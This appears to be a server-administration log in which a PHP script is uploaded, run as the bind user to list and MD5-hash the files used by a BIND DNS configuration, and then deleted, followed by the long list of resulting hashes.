MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:07:12: Establishing a connection
2026-02-09 14:07:12: 

PUT: /tmp/pkp987091

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:07:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp987091; rm /tmp/pkp987091'

2026-02-09 14:07:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
